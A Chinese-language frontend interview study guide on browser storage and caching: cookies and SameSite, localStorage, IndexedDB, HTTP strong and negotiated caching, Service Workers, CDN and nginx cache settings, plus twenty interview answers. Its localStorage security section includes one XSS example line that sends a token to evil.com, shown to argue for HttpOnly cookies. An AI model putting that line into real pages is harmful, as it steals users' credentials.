前端存储与缓存 面试备战
Cookie / Web Storage / IndexedDB / HTTP Cache / Service Worker / CDN — 深度图解与生产实战
1. 客户端存储方案全景
浏览器提供了多种客户端存储方案,每种方案都有其适用场景。选择正确的存储方式是前端工程师的基本功。
Cookie
可设过期时间
支持 HttpOnly
localStorage
同源共享
同步API
sessionStorage
关闭即清除
同步API
IndexedDB
异步API
事务支持
Cache API
配合SW使用
离线优先
全维度对比表 (12个维度)
| 维度 | Cookie | localStorage | sessionStorage | IndexedDB | Cache API |
|---|---|---|---|---|---|
| 容量 | ~4KB | ~5MB | ~5MB | 数百MB+ | 无硬限制 |
| 生命周期 | 可设过期 | 永久 | 标签页关闭 | 永久 | 手动管理 |
| API 类型 | 字符串 | 同步字符串 | 同步字符串 | 异步 | 异步 |
| 作用域 | 同源+路径 | 同源 | 同源+标签页 | 同源 | 同源 |
| HTTP 发送 | ✅ 自动携带 | ❌ | ❌ | ❌ | ❌ |
| 跨域 | 受限(SameSite) | 不可 | 不可 | 不可 | 不可 |
| 主线程阻塞 | 否 | ⚠️ 是(同步) | ⚠️ 是(同步) | 否 | 否 |
| 数据类型 | 字符串 | 字符串 | 字符串 | 结构化数据 | Request/Response |
| 事务支持 | ❌ | ❌ | ❌ | ✅ | ❌ |
| 搜索/索引 | ❌ | ❌ | ❌ | ✅ 索引 | ❌ |
| 典型用途 | 认证/跟踪 | 偏好/Token | 表单临时 | 离线数据 | 资源缓存 |
| 安全特性 | HttpOnly/Secure | 无特殊 | 无特殊 | 同源策略 | 同源策略 |
2. Cookie 详解
Cookie 结构
Cookie 是浏览器存储在客户端的一小段文本数据,每次 HTTP 请求都会自动携带。
// Set-Cookie 响应头完整语法
Set-Cookie: name=value;
expires=Wed, 09 Jun 2027 10:18:14 GMT; // 过期时间(绝对)
max-age=86400; // 过期秒数(相对, 优先于expires)
domain=.example.com; // 作用域名(前导.表示含子域)
path=/; // 作用路径
secure; // 仅HTTPS发送
httpOnly; // JS不可读(document.cookie)
sameSite=Lax; // 跨站发送策略
Set-Cookie: sid=abc123; HttpOnly; Secure; SameSite=Lax
Content-Type: text/html
Cookie: sid=abc123
Host: example.com
Session Cookie vs Persistent Cookie
| 特性 | Session Cookie | Persistent Cookie |
|---|---|---|
| 过期时间 | 未设置 expires/max-age | 设置了 expires 或 max-age |
| 生命周期 | 浏览器关闭即消失 | 到期才消失 |
| 典型用途 | 临时会话 | "记住我"、偏好设置 |
| 示例 | Set-Cookie: sid=xyz | Set-Cookie: token=abc; Max-Age=604800 |
SameSite 属性详解
SameSite 决定 Cookie 在跨站请求中是否发送,是防御 CSRF 的重要手段。
| 值 | 跨站导航 | 跨站表单POST | 跨站AJAX | 推荐场景 |
|---|---|---|---|---|
| Strict | ❌ 不发送 | ❌ 不发送 | ❌ 不发送 | 敏感操作(银行、支付) |
| Lax (默认) | ✅ 顶层GET导航 | ❌ 不发送 | ❌ 不发送 | 大多数场景 |
| None | ✅ 发送 | ✅ 发送 | ✅ 发送 | 第三方嵌入(需配合Secure) |
SameSite=None 必须同时设置 Secure,否则浏览器会拒绝。Chrome 80+ 默认 SameSite=Lax。
生产案例
Cookie 跨域丢失 — domain 配置踩坑
现象:用户登录 api.example.com 后跳转到 www.example.com,发现 Cookie 丢失。
原因:Cookie 的 domain 默认是当前域名(不含子域)。
// ❌ 只在 api.example.com 下可见
Set-Cookie: token=abc; domain=api.example.com
// ✅ 所有子域共享
Set-Cookie: token=abc; domain=.example.com; path=/; SameSite=Lax; Secure; HttpOnly
关键点:
domain=.example.com使 Cookie 在所有子域间共享- 跨子域还需要
SameSite=Lax或None - 不同顶级域之间无法共享 Cookie(如 a.com 和 b.com)
3. Web Storage (localStorage / sessionStorage)
API Quick Reference
// 存储
localStorage.setItem('key', 'value'); // 存入(自动转字符串)
localStorage.getItem('key'); // 读取,不存在返回 null
localStorage.removeItem('key'); // 删除某项
localStorage.clear(); // 清空全部
localStorage.length; // 已存项数
localStorage.key(0); // 获取第N个key名
// ⚠️ 只能存字符串!对象需序列化
localStorage.setItem('user', JSON.stringify({ name: '张三', age: 25 }));
const user = JSON.parse(localStorage.getItem('user'));
// sessionStorage API 完全相同,只是作用域不同
sessionStorage.setItem('draft', '临时内容');
Storage 事件 — 跨标签页通信
当 localStorage 被修改时,其他同源标签页会触发 storage 事件:
// 标签页 A:修改数据
localStorage.setItem('theme', 'dark');
// 标签页 B:监听变化(注意:只有其他标签页能收到!)
window.addEventListener('storage', (e) => {
console.log(e.key); // 'theme'
console.log(e.oldValue); // null (旧值)
console.log(e.newValue); // 'dark' (新值)
console.log(e.url); // 修改来源的URL
});
storage 事件只在其他标签页触发,当前页修改自己不会收到。这是实现跨标签页同步(主题切换、登录状态)的轻量方案。
生产模式
1. 主题偏好
// 初次加载时读取,无值则用系统偏好
const theme = localStorage.getItem('theme')
|| (window.matchMedia('(prefers-color-scheme: dark)').matches ? 'dark' : 'light');
document.documentElement.setAttribute('data-theme', theme);
2. 表单草稿自动保存
const form = document.querySelector('form');
const draftKey = 'draft:' + location.pathname;
// 恢复草稿
const saved = sessionStorage.getItem(draftKey);
if (saved) Object.assign(form, JSON.parse(saved));
// 自动保存(防抖)
let timer;
form.addEventListener('input', () => {
clearTimeout(timer);
timer = setTimeout(() => {
const data = Object.fromEntries(new FormData(form));
sessionStorage.setItem(draftKey, JSON.stringify(data));
}, 300);
});
安全与生产案例
localStorage 可被 XSS 攻击读取!如果存在 XSS 漏洞,攻击者可以通过 localStorage.getItem() 窃取 Token。
// ❌ 如果页面有XSS,攻击者可以:
new Image().src = 'https://evil.com/steal?token=' + localStorage.getItem('token');
最佳实践:敏感Token 放 HttpOnly Cookie;localStorage 只放非敏感数据(偏好、草稿)。
localStorage 存了 5MB 数据导致性能问题
现象:页面操作越来越卡,DevTools 显示 localStorage 已满。
根因:某功能每次操作都在 localStorage 追加 JSON 日志,数据膨胀到 5MB。localStorage 的 setItem 是同步阻塞操作,大数据量序列化耗时严重。
修复方案:
// 1. 限制存储大小(只保留最近N条)
function safeSet(key, data, maxSize = 100) {
const arr = JSON.parse(localStorage.getItem(key) || '[]');
arr.push(data);
if (arr.length > maxSize) arr.splice(0, arr.length - maxSize);
localStorage.setItem(key, JSON.stringify(arr));
}
// 2. 大数据改用 IndexedDB
// 3. 考虑使用 LZ-String 压缩
4. IndexedDB
什么时候 localStorage 不够用?
当满足以上任何一个条件时,就应该考虑 IndexedDB。
数据库结构
基础 CRUD 操作 (使用 idb 库)
import { openDB } from 'idb';
const db = await openDB('myApp', 1, {
upgrade(db) {
const store = db.createObjectStore('users', { keyPath: 'id' });
store.createIndex('by_name', 'name'); // 创建索引
store.createIndex('by_age', 'age');
}
});
// Create
await db.add('users', { id: 1, name: '张三', age: 25 });
// Read
const user = await db.get('users', 1);
const byAge = await db.getAllFromIndex('users', 'by_age', IDBKeyRange.lowerBound(20));
// Update
await db.put('users', { id: 1, name: '张三', age: 26 });
// Delete
await db.delete('users', 1);
推荐库
| 库 | 特点 | 适用场景 |
|---|---|---|
idb | ~1.2KB, Promise 封装, 零依赖 | 推荐首选,轻量易用 |
Dexie.js | 链式API, 强类型, ~30KB | 复杂查询, 大型项目 |
| 原生 API | 无依赖, 事件回调 | 学习理解底层 |
生产用例:Offline-First 应用
// 离线写操作 → 同步到服务端
async function saveNote(note) {
note.status = 'pending'; // 标记为待同步
note.timestamp = Date.now();
await db.put('notes', note);
if (navigator.onLine) {
await syncToServer(note);
}
}
// 网络恢复时自动同步
window.addEventListener('online', async () => {
const pending = await db.getAllFromIndex('notes', 'by_status', 'pending');
for (const note of pending) await syncToServer(note);
});
5. 浏览器缓存机制
浏览器缓存是前端性能优化的核心。理解缓存策略是面试必考、生产必备的技能。
强缓存 (不问服务器)
强缓存命中时,浏览器直接从本地读取资源,不发送任何请求到服务器,状态码为 200 (from disk/memory cache)。
Expires (HTTP/1.0)
// 绝对过期时间,依赖客户端时钟,不推荐
Expires: Thu, 01 Dec 2026 16:00:00 GMT
Cache-Control (HTTP/1.1, 优先级更高)
| 指令 | 含义 | 使用场景 |
|---|---|---|
max-age=31536000 | 缓存1年(秒) | 带hash的静态资源 |
no-cache | 可以缓存,但每次使用前必须验证 | HTML入口文件 |
no-store | 完全不缓存 | 敏感数据API |
public | 允许中间代理缓存 | CDN可缓存的资源 |
private | 仅浏览器可缓存 | 用户个性化内容 |
must-revalidate | 过期后必须验证 | 需要新鲜度保证 |
no-cache 不是"不缓存"!它的意思是"可以缓存,但每次使用前要跟服务器验证"。no-store 才是真正的不缓存。
Cache-Control: max-age=3600
200 (from cache)
200 (from cache)
进入协商缓存流程
协商缓存 (问服务器要不要用缓存)
强缓存过期后,浏览器携带缓存标识去询问服务器:"我的缓存还新鲜吗?",如果没变则返回 304 Not Modified。
方式一:Last-Modified / If-Modified-Since
// 第一次响应 — 服务端告诉浏览器资源最后修改时间
Last-Modified: Wed, 09 Jun 2026 08:00:00 GMT
// 第二次请求 — 浏览器带上这个时间问服务器
If-Modified-Since: Wed, 09 Jun 2026 08:00:00 GMT
// 服务端判断:没修改 → 304 (不返回body,节省带宽)
HTTP/1.1 304 Not Modified
方式二:ETag / If-None-Match (优先级更高)
// 第一次响应 — 服务端返回资源指纹
ETag: "abc123"
// 第二次请求 — 浏览器带上指纹
If-None-Match: "abc123"
// 服务端比对:一致 → 304
HTTP/1.1 304 Not Modified
304 Not Modified
200 OK + 新资源
强缓存 vs 协商缓存对比
| 维度 | 强缓存 | 协商缓存 |
|---|---|---|
| 是否请求服务器 | ❌ 不请求 | ✅ 发请求 |
| 状态码 | 200 (from cache) | 304 Not Modified |
| 速度 | 极快(零网络) | 较快(无body传输) |
| 相关Header | Cache-Control / Expires | ETag / Last-Modified |
| 精确度 | 基于时间 | 基于内容指纹(ETag更精确) |
| 适用资源 | 带hash的静态资源 | HTML入口、频繁更新的资源 |
完整缓存决策流程图
6. Service Worker 与 PWA
Service Worker 是浏览器在后台独立运行的脚本,可以拦截网络请求、管理缓存、实现离线体验。
Cache API 基本用法
// sw.js — Service Worker 文件
// Install: 预缓存核心资源
const CACHE_NAME = 'app-v1';
const ASSETS = ['/', '/index.html', '/app.js', '/style.css'];
self.addEventListener('install', (e) => {
e.waitUntil(
caches.open(CACHE_NAME).then(cache => cache.addAll(ASSETS))
);
});
// Activate: 清理旧版本缓存
self.addEventListener('activate', (e) => {
e.waitUntil(
caches.keys().then(keys =>
Promise.all(keys.filter(k => k !== CACHE_NAME).map(k => caches.delete(k)))
)
);
});
// Fetch: 缓存优先策略
self.addEventListener('fetch', (e) => {
e.respondWith(
caches.match(e.request).then(cached => cached || fetch(e.request))
);
});
常用缓存策略
| 策略 | 逻辑 | 适用场景 |
|---|---|---|
| Cache First | 缓存优先,没有再请求网络 | 静态资源、字体、图片 |
| Network First | 网络优先,失败再读缓存 | API请求、频繁更新内容 |
| Stale While Revalidate | 先返回缓存,同时后台更新 | 非关键API、配置数据 |
| Network Only | 只走网络 | 登录、支付等实时请求 |
| Cache Only | 只读缓存 | 预缓存的离线页面 |
用 Service Worker 缓存 API 响应实现秒开
场景:Dashboard 首页加载 8 个 API,首次加载 3s+,用户感觉慢。
方案:使用 Stale-While-Revalidate 策略缓存 GET 请求。
// Stale While Revalidate 策略
self.addEventListener('fetch', (e) => {
if (!e.request.url.includes('/api/')) return;
e.respondWith(
caches.open('api-cache').then(async cache => {
const cached = await cache.match(e.request);
// 后台更新(不阻塞响应)
const fetchPromise = fetch(e.request).then(response => {
cache.put(e.request, response.clone());
return response;
});
// 先返回缓存(如果有),同时后台刷新
return cached || fetchPromise;
})
);
});
效果:二次访问从 3s+ 降到 ~50ms(读缓存),后台静默更新数据。
7. CDN 缓存
命中缓存 → 直接返回
CDN 缓存控制
| Header | 作用 | 示例 |
|---|---|---|
CDN-Cache-Control | CDN 专用缓存指令 | CDN-Cache-Control: max-age=3600 |
Surrogate-Key | 批量失效的分组标识 | Surrogate-Key: app-v2 |
X-Cache | 标识是否命中CDN缓存 | X-Cache: HIT / MISS |
Vary | 区分缓存版本 | Vary: Accept-Encoding |
缓存失效策略
CDN 缓存了旧版本 JS 导致白屏
现象:发版后部分用户反馈页面白屏,但刷新后恢复。
根因分析:
- 新版本
index.html引用了app.abc123.js - CDN 缓存了旧的
index.html(Cache-Control: max-age 未过期) - 旧 HTML 引用已不存在的 JS → 404 → 白屏
根治方案:
# HTML 绝不缓存(或只走协商缓存)
location / {
add_header Cache-Control "no-cache, must-revalidate";
}
# 带 hash 的静态资源 — 长期缓存
location /static/ {
add_header Cache-Control "public, max-age=31536000, immutable";
}
# 发版时确保 CDN 刷新 HTML 缓存
# Vercel/Cloudflare 会自动处理,自建CDN需手动刷新
8. 前端缓存策略实战
以一个 Dashboard 项目为例,展示完整的缓存策略配置。
各资源类型的缓存策略
| 资源类型 | 策略 | Cache-Control | 为什么 |
|---|---|---|---|
| HTML 入口 | no-cache | no-cache, must-revalidate |
保证每次拿到最新HTML,以加载正确版本的JS/CSS |
| JS/CSS (带hash) | max-age=1年 | public, max-age=31536000, immutable |
hash变了=新文件,hash不变=文件不变,放心长期缓存 |
| 图片 | max-age=1天 | public, max-age=86400 |
图片可能更换但不太频繁,短期缓存平衡体验与更新 |
| 字体 | max-age=1年 | public, max-age=31536000, immutable |
字体几乎不变,且带hash |
| API (GET) | no-store / 短缓存 | no-store 或 max-age=60 |
数据需要实时性,敏感接口绝不缓存 |
Nginx 配置示例
# Nginx — 完整缓存配置
server {
listen 443 ssl http2;
server_name app.example.com;
# HTML — 不缓存(或只协商缓存)
location / {
root /var/www/app;
try_files $uri /index.html;
add_header Cache-Control "no-cache, no-store, must-revalidate";
add_header Pragma "no-cache";
}
# 带 hash 的静态资源 — 1年缓存 + immutable
location /static/ {
root /var/www/app;
add_header Cache-Control "public, max-age=31536000, immutable";
add_header Vary "Accept-Encoding";
# 开启 gzip
gzip on;
gzip_types text/css application/javascript application/json image/svg+xml;
}
# 图片 — 1天缓存
location /images/ {
root /var/www/app;
add_header Cache-Control "public, max-age=86400";
}
# API 代理 — 不缓存
location /api/ {
proxy_pass http://backend:3000;
add_header Cache-Control "no-store";
}
}
immutable 告诉浏览器这个资源永远不会变,连协商缓存都省了。配合 content hash 使用是最优方案。
Webpack/Vite 的 [contenthash] / [hash] 就是为此而生。
9. 面试题精选 (20道)
核心区别:
| Cookie | localStorage | sessionStorage | |
| 容量 | ~4KB | ~5MB | ~5MB |
| HTTP携带 | ✅ 自动 | ❌ | ❌ |
| 生命周期 | 可设过期 | 永久 | 标签页关闭 |
| 作用域 | 同源+路径 | 同源 | 同源+标签页 |
| API | 字符串操作 | setItem/getItem | setItem/getItem |
| 场景 | 认证/跟踪 | 持久偏好 | 临时数据 |
答题要点:从容量、生命周期、API、HTTP行为、安全特性五个维度对比。
HttpOnly 标志使 Cookie 只能通过 HTTP 请求传输,JavaScript 的 document.cookie 无法读取。
重要性:即使网站存在 XSS 漏洞,攻击者也无法通过 JS 窃取 HttpOnly Cookie 中的敏感信息(如 Session Token)。是防御 XSS 窃取凭证的关键手段。
- Strict:完全禁止跨站发送。用户从外部链接点入也不带 Cookie。安全性最高,但可能影响用户体验。
- Lax(默认):允许顶层导航的 GET 请求携带 Cookie,但 POST、iframe、AJAX 等跨站请求不携带。平衡安全与体验。
- None:允许跨站发送,但必须配合
Secure。适用于第三方嵌入、SSO 等场景。
Chrome 80+ 默认 SameSite=Lax,需要显式设置 None 才能跨站发送。
no-cache:可以存储缓存,但每次使用前必须向服务器验证(协商缓存)。
no-store:完全不存储任何缓存,每次都重新请求。
面试陷阱:no-cache 名字有误导性,它不是"不缓存"而是"用前验证"。
强缓存:浏览器直接使用本地缓存,不发请求。状态码 200 (from cache)。由 Cache-Control / Expires 控制。
协商缓存:浏览器发请求问服务器缓存是否可用。未变化返回 304(无body),有变化返回 200 + 新资源。由 ETag / Last-Modified 控制。
优先级:强缓存 > 协商缓存。强缓存生效时根本不会进入协商流程。
| Last-Modified | ETag | |
| 精度 | 秒级(不够精确) | 内容级(更精确) |
| 性能 | 只需比较时间 | 需计算hash/指纹 |
| 局限 | 1秒内多次修改无法感知;编辑但未改内容也会变 | 消耗服务器计算资源 |
| 优先级 | 较低 | 较高(同时存在时以ETag为准) |
方案对比:
- HttpOnly Cookie(推荐):JS 无法读取,防 XSS。需配合 CSRF Token 防 CSRF 攻击。
- localStorage:简单易用,但 XSS 可窃取。只适合非敏感数据。
- sessionStorage:同 localStorage,但标签页关闭即清除,安全性略高。
- 内存(变量):最安全(XSS 也难以获取),但刷新丢失,需配合 refresh token。
最佳实践:Access Token 存内存(或短过期localStorage),Refresh Token 存 HttpOnly Cookie。
setItem 会抛出 QuotaExceededError 异常(约 5MB 限制,各浏览器不同)。
try {
localStorage.setItem('key', data);
} catch (e) {
if (e.name === 'QuotaExceededError') {
// 清理旧数据或切换到 IndexedDB
console.warn('Storage quota exceeded');
}
}
大数据场景应使用 IndexedDB,它没有严格的大小限制。
- Register:主线程调用
navigator.serviceWorker.register() - Install:SW 首次安装,适合预缓存资源。可调用
skipWaiting()跳过等待。 - Waiting:新 SW 安装完成,但旧 SW 还在控制页面,新 SW 处于等待状态。
- Activate:旧 SW 不再控制页面后,新 SW 激活。可调用
clients.claim()立即接管。 - Fetched:SW 激活后,可以拦截 fetch 请求、推送通知等。
关键点:页面刷新后新 SW 才会接管(默认),因为旧页面可能依赖旧 SW。
CDN(Content Delivery Network)是一组分布在全球各地的缓存服务器,用户请求会被路由到最近的边缘节点,减少延迟。
前端配合要点:
- HTML 不缓存或短缓存(保证获取最新入口)
- JS/CSS/图片使用 content hash 文件名 + 长期缓存
- 发版后旧资源不要立即删除(保留1-2个版本兼容)
- 利用 CDN 的缓存刷新 API 在发版时主动刷新 HTML
核心区别:IndexedDB 是异步的、支持事务、可存结构化数据、容量大(数百MB);localStorage 是同步的、只能存字符串、容量小(5MB)。
该用 IndexedDB 的场景:
- 数据量超过 5MB
- 需要索引和复杂查询
- 需要存二进制数据(Blob、File)
- 离线优先应用
- 需要事务保证数据一致性
- Storage 事件:localStorage 修改时其他标签页收到
storage事件。最简单。 - BroadcastChannel:同源标签页间的消息广播。API 清晰。
- SharedWorker:共享 Worker,多标签页共用一个 Worker 实例。
- postMessage:window.open 返回的引用之间直接通信。
- IndexedDB:一个标签页写入,另一个轮询读取。
Cache-Control: public, max-age=31536000, immutable
作用:告诉浏览器在 max-age 期间,即使用户手动刷新(F5),也不要发送协商缓存请求,直接用本地缓存。
适用:配合 content hash 使用。文件名带 hash 意味着内容变了 = 新 URL,旧 URL 的内容永远不会变。
效果:减少不必要的 304 请求,提升刷新体验。
| 操作 | 强缓存 | 协商缓存 |
| 地址栏回车 / 链接跳转 | ✅ 正常生效 | ✅ 正常生效 |
| F5 刷新 | ❌ 跳过 | ✅ 会验证 |
| Ctrl+F5 强制刷新 | ❌ 跳过 | ❌ 跳过(请求头加 Cache-Control: no-cache) |
| Service Worker | Web Worker | |
| 生命周期 | 独立于页面(可离线运行) | 随页面创建和销毁 |
| DOM访问 | ❌ | ❌ |
| 网络拦截 | ✅ 可拦截fetch | ❌ |
| 通信 | postMessage | postMessage |
| 使用场景 | 离线缓存、推送通知 | CPU密集计算 |
| 数量 | 同源只有一个活跃SW | 可创建多个 |
因为 localStorage 可以被 JavaScript 直接读取。如果网站存在 XSS 漏洞,攻击者可以通过注入脚本窃取 Token。
推荐做法:
- Access Token 存在 JavaScript 变量中(内存),XSS 也难以跨作用域获取
- Refresh Token 存在 HttpOnly + Secure + SameSite=Strict 的 Cookie 中
- Access Token 设置短过期时间(如 15 分钟)
核心思路:先立即返回缓存的旧数据(stale),同时后台发请求更新缓存(revalidate)。下次请求时就能拿到新数据。
优势:用户总是能快速得到响应,同时数据也会在后台更新。非常适合"先展示后更新"的场景。
HTTP Header:Cache-Control: max-age=60, stale-while-revalidate=3600(60秒内直接用缓存,60-3660秒内返回旧数据同时后台刷新)。
完整方案:
- HTML 不缓存:
Cache-Control: no-cache,确保每次获取最新 HTML - JS/CSS 带 content hash:Webpack/Vite 的
[contenthash],内容变 = 文件名变 - 旧版本保留:服务器保留最近 2-3 个版本的静态资源,防止用户还在用旧 HTML 时 404
- CDN 刷新:发版后刷新 CDN 的 HTML 缓存(通常 CDN 服务商会自动处理)
- Service Worker 更新:SW 文件本身变更后会触发更新流程
- 用户请求资源 → 先查 Service Worker 是否拦截
- SW 未拦截 → 检查强缓存(Cache-Control / Expires)是否有效
- 强缓存有效 → 直接返回 200 (from cache)
- 强缓存过期 → 发送协商缓存请求(携带 If-None-Match / If-Modified-Since)
- 服务器比对 → 未变化返回 304,有变化返回 200 + 新资源
- 没有任何缓存 → 直接从网络获取
优先级:Service Worker > 强缓存 > 协商缓存 > 网络请求
架构设计:
- Service Worker:使用 Cache First 策略缓存静态资源,Stale-While-Revalidate 缓存 API 数据
- IndexedDB:存储业务数据,离线写操作标记为 pending
- Background Sync:网络恢复后自动同步 pending 数据
- 冲突解决:使用时间戳或版本号处理离线-在线数据冲突
- UI 反馈:明确告知用户当前在线/离线状态,离线操作标记为"待同步"
// 核心架构
SW (Cache API) → 静态资源离线可用
IndexedDB → 业务数据本地存储
Background Sync → 网络恢复自动同步
Online/Offline Event → UI 状态反馈